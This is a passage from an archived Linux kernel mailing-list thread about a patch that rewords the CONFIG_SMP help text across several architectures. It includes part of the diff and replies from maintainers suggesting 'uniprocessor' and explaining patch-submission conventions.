 	  This enables support for systems with more than one CPU. If you have
-	  a system with only one CPU, like most personal computers, say N. If
-	  you have a system with more than one CPU, say Y.
+	  a system with only one CPU, say N. If you have a system with more
+	  than one CPU, say Y.
 
 	  If you say N here, the kernel will run on single and multiprocessor
 	  machines, but will use only one CPU of a multiprocessor machine. If
diff -uprN -X linux-vanilla/Documentation/dontdiff linux-vanilla/arch/mn10300/Kconfig linux/arch/mn10300/Kconfig
--- linux-vanilla/arch/mn10300/Kconfig	2013-12-22 18:03:13.598499470 +0000
+++ linux/arch/mn10300/Kconfig	2013-12-22 17:58:26.460505877 +0000
@@ -184,8 +184,8 @@ config SMP
 	depends on MN10300_PROC_MN2WS0038 || MN10300_PROC_MN2WS0050
 	---help---
 	  This enables support for systems with more than one CPU. If you have
-	  a system with only one CPU, like most personal computers, say N. If
-	  you have a system with more than one CPU, say Y.
+	  a system with only one CPU, say N. If you have a system with more
+	  than one CPU, say Y.
 
 	  If you say N here, the kernel will run on single and multiprocessor
 	  machines, but will use only one CPU of a multiprocessor machine. If
diff -uprN -X linux-vanilla/Documentation/dontdiff linux-vanilla/arch/parisc/Kconfig linux/arch/parisc/Kconfig
--- linux-vanilla/arch/parisc/Kconfig	2013-12-22 18:03:13.682499468 +0000
+++ linux/arch/parisc/Kconfig	2013-12-22 17:57:38.097506956 +0000
@@ -229,8 +229,8 @@ config SMP
 	bool "Symmetric multi-processing support"
 	---help---
 	  This enables support for systems with more than one CPU. If you have
-	  a system with only one CPU, like most personal computers, say N. If
-	  you have a system with more than one CPU, say Y.
+	  a system with only one CPU, say N. If you have a system with more
+	  than one CPU, say Y.
 
 	  If you say N here, the kernel will run on single and multiprocessor
 	  machines, but will use only one CPU of a multiprocessor machine. If
diff -uprN -X linux-vanilla/Documentation/dontdiff linux-vanilla/arch/s390/Kconfig linux/arch/s390/Kconfig
--- linux-vanilla/arch/s390/Kconfig	2013-12-22 18:03:14.077499459 +0000
+++ linux/arch/s390/Kconfig	2013-12-22 17:58:29.631505806 +0000
@@ -332,8 +332,8 @@ config SMP
 	prompt "Symmetric multi-processing support"
 	---help---
 	  This enables support for systems with more than one CPU. If you have
-	  a system with only one CPU, like most personal computers, say N. If
-	  you have a system with more than one CPU, say Y.
+	  a system with only one CPU, say N. If you have a system with more
+	  than one CPU, say Y.
 
 	  If you say N here, the kernel will run on single and multiprocessor
 	  machines, but will use only one CPU of a multiprocessor machine. If
diff -uprN -X linux-vanilla/Documentation/dontdiff linux-vanilla/arch/sh/Kconfig linux/arch/sh/Kconfig
--- linux-vanilla/arch/sh/Kconfig	2013-12-22 18:03:14.188499457 +0000
+++ linux/arch/sh/Kconfig	2013-12-22 17:58:25.470505899 +0000
@@ -714,8 +714,8 @@ config SMP
 	depends on SYS_SUPPORTS_SMP
 	---help---
 	  This enables support for systems with more than one CPU. If you have
-	  a system with only one CPU, like most personal computers, say N. If
-	  you have a system with more than one CPU, say Y.
+	  a system with only one CPU, say N. If you have a system with more
+	  than one CPU, say Y.
 
 	  If you say N here, the kernel will run on single and multiprocessor
 	  machines, but will use only one CPU of a multiprocessor machine. If
diff -uprN -X linux-vanilla/Documentation/dontdiff linux-vanilla/arch/x86/Kconfig linux/arch/x86/Kconfig
--- linux-vanilla/arch/x86/Kconfig	2013-12-22 18:03:14.584499448 +0000
+++ linux/arch/x86/Kconfig	2013-12-22 17:58:30.711505782 +0000
@@ -278,8 +278,8 @@ config SMP
 	bool "Symmetric multi-processing support"
 	---help---
 	  This enables support for systems with more than one CPU. If you have
-	  a system with only one CPU, like most personal computers, say N. If
-	  you have a system with more than one CPU, say Y.
+	  a system with only one CPU, say N. If you have a system with more
+	  than one CPU, say Y.
 
 	  If you say N here, the kernel will run on single and multiprocessor
 	  machines, but will use only one CPU of a multiprocessor machine. If
Signed-off-by: Robert Graffham <psquid@psquid.net>



From - Thu Nov 08 21:10:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "H. Peter Anvin" <hpa@zytor.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel
Subject: Re: [PATCH] Slightly outdated CONFIG_SMP documentation fix
Date: Tue, 31 Dec 2013 15:58:53 -0800
Lines: 17
Approved: news@gmane.org
Message-ID: <52C35A3D.8090109@zytor.com>
References: <20131231225921.GA1624@sylph>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1388534879 1413 80.91.229.3 (1 Jan 2014 00:07:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 1 Jan 2014 00:07:59 +0000 (UTC)
Cc: Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Vineet Gupta <vgupta@synopsys.com>,
        Russell King <linux@arm.linux.org.uk>,
        Hirokazu Takata <takata@linux-m32r.org>,
        Ralf Baechle <ralf@linux-mips.org>,
        David Howells <dhowells@redhat.com>,
        Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        linux390@de.ibm.com, Paul Mundt <lethal@linux-sh.org>,
        Thomas Gleixner <tglx@linutronix.de>,
        Ingo Molnar <mingo@redhat.com>, x86@kernel.org,
        Al Viro <viro@zeniv.linux.org.uk>,
        Andrew Morton <akpm@linux-foundation.org>,
        linux-alph
To: Robert Graffham <psquid@psquid.net>, linux-kernel@vger.kernel.org
Original-X-From: linux-mips-bounce@linux-mips.org Wed Jan 01 01:08:01 2014
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from marvin.linux-mips.org ([78.24.191.183] helo=git.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1Vy9Lt-0004Im-Az
	for sgi-linux-mips@gmane.org; Wed, 01 Jan 2014 01:08:01 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:57053 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S6825659AbaAAAH7OKTO3 (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Wed, 1 Jan 2014 01:07:59 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 01 Jan 2014 01:07:44 +0100 (CET)
Original-Received: from terminus.zytor.com ([198.137.202.10]:41759 "EHLO mail.zytor.com"
        rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org with ESMTP
        id S6822668AbaAAAHliw5Bt (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Wed, 1 Jan 2014 01:07:41 +0100
Original-Received: from hanvin-mobl6.amr.corp.intel.com (fmdmzpr03-ext.fm.intel.com [192.55.54.38])
        (authenticated bits=0)
        by mail.zytor.com (8.14.7/8.14.5) with ESMTP id rBVNwxF0030249
        (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO);
        Tue, 31 Dec 2013 15:59:00 -0800
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0
In-Reply-To: <20131231225921.GA1624@sylph>
X-Enigmail-Version: 1.6
X-archive-position: 38826
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: hpa@zytor.com
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:39966 gmane.linux.kernel:1621676 gmane.linux.ports.alpha:2201 gmane.linux.ports.arm.kernel:291220 gmane.linux.ports.parisc:5577 gmane.linux.ports.sh.devel:30734
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/39966>

On 12/31/2013 02:59 PM, Robert Graffham wrote:
> I've removed a reference to "most personal computers" being singleprocessor
> machines in multiple arches' config help, and also brought the arch/arm spacing
> for "singleprocessor" (vs. "single processor" used there originally) in line
> with other arches that had that text.
> 
> The diff is included below, and cleanly applies and builds on my system. I have
> not tested on other systems yet since a documentation fix shouldn't fail to
> build inconsistently, but if that's no excuse, I'll be happy to test further
> when I can.
> 

Acked-by: H. Peter Anvin <hpa@linux.intel.com>





From - Thu Nov 08 21:10:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Howells <dhowells@redhat.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel
Subject: Re: [PATCH] Slightly outdated CONFIG_SMP documentation fix
Date: Thu, 02 Jan 2014 14:56:29 +0000
Organization: Red Hat UK Ltd. Registered Address: Red Hat UK Ltd, Amberley
        Place, 107-111 Peascod Street, Windsor, Berkshire, SI4 1TE, United
        Kingdom.
        Registered in England and Wales under Company Registration No. 3798903
Lines: 9
Approved: news@gmane.org
Message-ID: <23596.1388674589@warthog.procyon.org.uk>
References: <20131231225921.GA1624@sylph>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1388674656 22106 80.91.229.3 (2 Jan 2014 14:57:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 2 Jan 2014 14:57:36 +0000 (UTC)
Cc: dhowells@redhat.com, linux-kernel@vger.kernel.org,
        Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Vineet Gupta <vgupta@synopsys.com>,
        Russell King <linux@arm.linux.org.uk>,
        Hirokazu Takata <takata@linux-m32r.org>,
        Ralf Baechle <ralf@linux-mips.org>,
        Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        linux390@de.ibm.com, Paul Mundt <lethal@linux-sh.org>,
        Thomas Gleixner <tglx@linutronix.de>,
        Ingo Molnar <mingo@redhat.com>,
        "H. Peter Anvin" <hpa@zytor.com>, x86@kernel.org,
        Al Viro <viro@zeniv.linux.org.uk>,
        Andre
To: Robert Graffham <psquid@psquid.net>
Original-X-From: linux-mips-bounce@linux-mips.org Thu Jan 02 15:57:37 2014
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from marvin.linux-mips.org ([78.24.191.183] helo=git.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1VyjiJ-0002lu-GQ
	for sgi-linux-mips@gmane.org; Thu, 02 Jan 2014 15:57:35 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:60511 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S6825715AbaABO5dqiYlO (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Thu, 2 Jan 2014 15:57:33 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 02 Jan 2014 15:57:18 +0100 (CET)
Original-Received: from mx1.redhat.com ([209.132.183.28]:53412 "EHLO mx1.redhat.com"
        rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org with ESMTP
        id S6821116AbaABO5QxY3SR (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Thu, 2 Jan 2014 15:57:16 +0100
Original-Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23])
        by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s02EubT1013408
        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
        Thu, 2 Jan 2014 09:56:37 -0500
Original-Received: from warthog.procyon.org.uk (ovpn-113-65.phx2.redhat.com [10.3.113.65])
        by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s02EuUaL019056;
        Thu, 2 Jan 2014 09:56:30 -0500
In-Reply-To: <20131231225921.GA1624@sylph>
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23
X-archive-position: 38837
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: dhowells@redhat.com
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:39977 gmane.linux.kernel:1622005 gmane.linux.ports.alpha:2202 gmane.linux.ports.arm.kernel:291323 gmane.linux.ports.parisc:5578 gmane.linux.ports.sh.devel:30738
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/39977>

Robert Graffham <psquid@psquid.net> wrote:

> +	  singleprocessor machines. On a singleprocessor machine, the kernel

"singleprocessor" looks wrong without a hyphen.  How about "uniprocessor"?

David



From - Thu Nov 08 21:10:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Morton <akpm@linux-foundation.org>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha
Subject: Re: [PATCH] Slightly outdated CONFIG_SMP documentation fix
Date: Thu, 2 Jan 2014 15:02:19 -0800
Lines: 13
Approved: news@gmane.org
Message-ID: <20140102150219.3df32a23cf7dbe9618ea118e@linux-foundation.org>
References: <20131231225921.GA1624@sylph>
 <23596.1388674589@warthog.procyon.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1388703776 1640 80.91.229.3 (2 Jan 2014 23:02:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 2 Jan 2014 23:02:56 +0000 (UTC)
Cc: linux-m32r-ja@ml.linux-m32r.org, linux-mips@linux-mips.org,
 linux-sh@vger.kernel.org, Heiko Carstens <heiko.carstens@de.ibm.com>,
 "H. Peter Anvin" <hpa@zytor.com>, linux-s390@vger.kernel.org,
 linux-am33-list@redhat.com, Russell King <linux@arm.linux.org.uk>,
 Helge Deller <deller@gmx.de>, x86@kernel.org,
 "James E.J.  Bottomley" <jejb@parisc-linux.org>,
 Ingo Molnar <mingo@redhat.com>, Matt Turner <mattst88@gmail.com>,
 Robert Graffham <psquid@psquid.net>,
 Ivan Kokshaysky <ink@jurassic.park.msu.ru>, Al Viro <viro@zeniv.linux.org.uk>,
 Thomas Gleixner <tglx@linutronix.de>, linux-arm-kernel@lists.infradead.org,
 Richard Henderson <rth@twiddle.net>, linux-m32r@ml.linux-m32r.org,
 linux-parisc@vger.kernel.org, Vineet Gupta <vgupta@synopsys.com>,
 linux-kernel@vger.kernel.org, Ralf Baechle <ralf@linux-mips.org>,
 Paul Mundt <lethal@linux-sh.org>, linux-alpha@vger.kernel.org,
 Martin S
To: David Howells <dhowells@redhat.com>
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Fri Jan 03 00:02:59 2014
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from casper.infradead.org ([85.118.1.10])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1VyrI3-0004KJ-F0
	for linux-arm-kernel@m.gmane.org; Fri, 03 Jan 2014 00:02:59 +0100
Original-Received: from merlin.infradead.org ([2001:4978:20e::2])
	by casper.infradead.org with esmtps (Exim 4.80.1 #2 (Red Hat Linux))
	id 1VyrHs-0000nj-Ur; Thu, 02 Jan 2014 23:02:49 +0000
Original-Received: from localhost ([::1] helo=merlin.infradead.org)
	by merlin.infradead.org with esmtp (Exim 4.80.1 #2 (Red Hat Linux))
	id 1VyrHq-0000pc-J6; Thu, 02 Jan 2014 23:02:46 +0000
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
 by merlin.infradead.org with esmtp (Exim 4.80.1 #2 (Red Hat Linux))
 id 1VyrHo-0000os-Dw
 for linux-arm-kernel@lists.infradead.org; Thu, 02 Jan 2014 23:02:44 +0000
Original-Received: from akpm3.mtv.corp.google.com (unknown [216.239.45.95])
 by mail.linuxfoundation.org (Postfix) with ESMTPSA id 59B01523;
 Thu,  2 Jan 2014 23:02:20 +0000 (UTC)
In-Reply-To: <23596.1388674589@warthog.procyon.org.uk>
X-Mailer: Sylpheed 3.2.0beta5 (GTK+ 2.24.10; x86_64-pc-linux-gnu)
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20140102_180244_558268_F27E362F 
X-CRM114-Status: GOOD (  12.53  )
X-Spam-Score: -1.9 (-)
X-Spam-Report: SpamAssassin version 3.3.2 on merlin.infradead.org summary:
 Content analysis details:   (-1.9 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 SPF_HELO_PASS          SPF: HELO matches SPF record
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -1.9 BAYES_00               BODY: Bayes spam probability is 0 to 1%
 [score: 0.0000]
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.15
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:291490 gmane.linux.ports.mips.general:39993 gmane.linux.ports.sh.devel:30748 gmane.linux.ports.parisc:5579 gmane.linux.kernel:1622267 gmane.linux.ports.alpha:2203
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/291490>

On Thu, 02 Jan 2014 14:56:29 +0000 David Howells <dhowells@redhat.com> wrote:

> Robert Graffham <psquid@psquid.net> wrote:
> 
> > +	  singleprocessor machines. On a singleprocessor machine, the kernel
> 
> "singleprocessor" looks wrong without a hyphen.  How about "uniprocessor"?
> 

Yes please.

Also the patch should have a signed-off-by:, as per
Documentation/SubmittingPatches section 12, please.

From - Thu Nov 08 21:10:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Morton <akpm@linux-foundation.org>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha
Subject: Re: [PATCH] Slightly outdated CONFIG_SMP documentation fix
Date: Thu, 2 Jan 2014 15:15:47 -0800
Lines: 39
Approved: news@gmane.org
Message-ID: <20140102151547.fde4aa5855cc75e91fea95e5@linux-foundation.org>
References: <20131231225921.GA1624@sylph>
 <23596.1388674589@warthog.procyon.org.uk>
 <20140102150219.3df32a23cf7dbe9618ea118e@linux-foundation.org>
 <CAAJfVc7vK9W9Zy0LvGWSTWMSEb_JEx7FbLECy44QEwj+CWgSGg@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1388704576 10068 80.91.229.3 (2 Jan 2014 23:16:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 2 Jan 2014 23:16:16 +0000 (UTC)
Cc: linux-m32r-ja@ml.linux-m32r.org, linux-mips@linux-mips.org,
 linux-sh@vger.kernel.org, Heiko Carstens <heiko.carstens@de.ibm.com>,
 David Howells <dhowells@redhat.com>, "H. Peter Anvin" <hpa@zytor.com>,
 linux-s390@vger.kernel.org, linux-am33-list@redhat.com,
 Russell King <linux@arm.linux.org.uk>, Hirokazu Takata <takata@linux-m32r.org>,
 x86@kernel.org, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 Ingo Molnar <mingo@redhat.com>, Matt Turner <mattst88@gmail.com>,
 Ivan Kokshaysky <ink@jurassic.park.msu.ru>, Al Viro <viro@zeniv.linux.org.uk>,
 Thomas Gleixner <tglx@linutronix.de>, linux-arm-kernel@lists.infradead.org,
 Richard Henderson <rth@twiddle.net>, linux-m32r@ml.linux-m32r.org,
 linux-parisc@vger.kernel.org, Vineet Gupta <vgupta@synopsys.com>,
 linux-kernel@vger.kernel.org, Ralf Baechle <ralf@linux-mips.org>,
 Paul Mundt <lethal@linux-sh.org>, linux-alpha@vger.kernel.org,
To: Psychedelic Squid <psquid@psquid.net>
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Fri Jan 03 00:16:19 2014
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from casper.infradead.org ([85.118.1.10])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1VyrUx-00048T-Dz
	for linux-arm-kernel@m.gmane.org; Fri, 03 Jan 2014 00:16:19 +0100
Original-Received: from merlin.infradead.org ([2001:4978:20e::2])
	by casper.infradead.org with esmtps (Exim 4.80.1 #2 (Red Hat Linux))
	id 1VyrUt-0000OG-SP; Thu, 02 Jan 2014 23:16:16 +0000
Original-Received: from localhost ([::1] helo=merlin.infradead.org)
	by merlin.infradead.org with esmtp (Exim 4.80.1 #2 (Red Hat Linux))
	id 1VyrUr-0001IX-Dt; Thu, 02 Jan 2014 23:16:13 +0000
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
 by merlin.infradead.org with esmtp (Exim 4.80.1 #2 (Red Hat Linux))
 id 1VyrUo-0001I5-Cl
 for linux-arm-kernel@lists.infradead.org; Thu, 02 Jan 2014 23:16:10 +0000
Original-Received: from akpm3.mtv.corp.google.com (unknown [216.239.45.95])
 by mail.linuxfoundation.org (Postfix) with ESMTPSA id 46D58896;
 Thu,  2 Jan 2014 23:15:48 +0000 (UTC)
In-Reply-To: <CAAJfVc7vK9W9Zy0LvGWSTWMSEb_JEx7FbLECy44QEwj+CWgSGg@mail.gmail.com>
X-Mailer: Sylpheed 3.2.0beta5 (GTK+ 2.24.10; x86_64-pc-linux-gnu)
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20140102_181610_518121_3766F0B3 
X-CRM114-Status: GOOD (  16.10  )
X-Spam-Score: -1.9 (-)
X-Spam-Report: SpamAssassin version 3.3.2 on merlin.infradead.org summary:
 Content analysis details:   (-1.9 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 SPF_HELO_PASS          SPF: HELO matches SPF record
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -1.9 BAYES_00               BODY: Bayes spam probability is 0 to 1%
 [score: 0.0000]
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.15
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:291494 gmane.linux.ports.mips.general:39994 gmane.linux.ports.sh.devel:30749 gmane.linux.ports.parisc:5580 gmane.linux.kernel:1622272 gmane.linux.ports.alpha:2204
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/291494>

On Thu, 2 Jan 2014 23:08:43 +0000 Psychedelic Squid <psquid@psquid.net> wrote:

> On 2 Jan 2014 23:02, "Andrew Morton" <akpm@linux-foundation.org> wrote:
> >
> > On Thu, 02 Jan 2014 14:56:29 +0000 David Howells <dhowells@redhat.com>
> wrote:
> >
> > > Robert Graffham <psquid@psquid.net> wrote:
> > >
> > > > +     singleprocessor machines. On a singleprocessor machine, the
> kernel
> > >
> > > "singleprocessor" looks wrong without a hyphen.  How about
> "uniprocessor"?
> > >
> >
> > Yes please.
> >
> > Also the patch should have a signed-off-by:, as per
> > Documentation/SubmittingPatches section 12, please.
> >
> 
> The signed-off-by: is already there.

ah, it was appended after the patch.  Don't do that ;)

> I'll get the other changes for the
> revised patch ready shortly, thanks. Also, newbie submitter and l couldn't
> find this in the documentation at a quick glance: should I submit it as a
> new thread, or a continuation of this?

Either is OK.  I tend to prefer continuation-of-this, mainly because it
prevents people from forgetting to cc people who were involved in
earlier discussion.

(Of course, if the discussion graph was complex, no reply-to-all will
capture all participants.  Nobody bothers to go through the discussion
gathering the names of all participants so I often end up doing this
when putting the final patch together)

From - Thu Nov 08 21:10:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Robert Graffham <psquid@psquid.net>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.arm.kernel
Subject: Re: [PATCH] Slightly outdated CONFIG_SMP documentation fix
Date: Fri, 3 Jan 2014 00:36:11 +0000
Lines: 230
Approved: news@gmane.org
Message-ID: <20140103003610.GA21711@sylph>
References: <20131231225921.GA1624@sylph>
 <23596.1388674589@warthog.procyon.org.uk>
 <20140102150219.3df32a23cf7dbe9618ea118e@linux-foundation.org>
 <CAAJfVc7vK9W9Zy0LvGWSTWMSEb_JEx7FbLECy44QEwj+CWgSGg@mail.gmail.com>
 <20140102151547.fde4aa5855cc75e91fea95e5@linux-foundation.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
X-Trace: ger.gmane.org 1388709401 25339 80.91.229.3 (3 Jan 2014 00:36:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 3 Jan 2014 00:36:41 +0000 (UTC)
Cc: Ralf Baechle <ralf@linux-mips.org>, x86@kernel.org,
        Richard Henderson <rth@twiddle.net>,
        Ingo Molnar <mingo@redhat.com>, linux-mips@linux-mips.org,
        Hirokazu Takata <takata@linux-m32r.org>,
        Al Viro <viro@zeniv.linux.org.uk>, linux-am33-list@redhat.com,
        linux-sh@vger.kernel.org, linux-alpha@vger.kernel.org,
        linux-s390@vger.kernel.org, David Howells <dhowells@redhat.com>,
        Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        "H. Peter Anvin" <hpa@zytor.com>, Helge Deller <deller@gmx.de>,
